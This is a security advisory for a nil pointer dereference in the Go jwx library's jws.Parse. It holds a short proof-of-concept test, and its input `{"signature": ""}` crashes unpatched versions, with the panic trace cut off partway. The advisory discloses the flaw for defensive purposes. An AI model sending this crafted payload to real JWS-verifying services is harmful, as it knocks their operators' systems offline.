EUVD-2026-244777

fkie_cve-2024-21664

jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.

GHSA-pvcr-v8j8-j5q3 — Parsing JSON serialized payload without protected field can lead to segfault

Affected: Go: github.com/lestrrat-go/jwx, Go: github.com/lestrrat-go/jwx/v2

### Summary

Calling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference.

### Details

This seems to also affect other functions that calls `Parse` internally, like `jws.Verify`.

My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.

Based on the stack trace in the PoC, the issue seems to be that the processing done in `jws/message.go:UnmarshalJSON()` assumes that if a `signature` field is present, then a `protected` field is also present. If this is not the case, then the subsequent call to `getB64Value(sig.protected)` will dereference `sig.protected`, which is `nil`.

### PoC

Reproducer:

```go package poc

import ( "testing"

"github.com/lestrrat-go/jwx/v2/jws" )

func TestPOC(t *testing.T) { _, _ = jws.Parse([]byte(`{"signature": ""}`)) } ```

Result:

``` $ go test --- FAIL: TestPOC (0.00s) panic: runtime error: invalid memory address or nil pointer dereference [recovered] panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]

goroutine 6 [running]: testing.tRunner.func1.2({0x628800, 0x831030}) /usr/local/go/src/testing/testing.go:1545 +0x238 testing.tRunner.func1() /usr/local/go/src/testing/testing.go:1548 +0x397 panic({0x628800?, 0…

Most recent entries from all

EUVD-2026-244777

fkie_cve-2024-21664

GHSA-pvcr-v8j8-j5q3 — Parsing JSON serialized payload without protected field can lead to segfault

gsd-2024-21664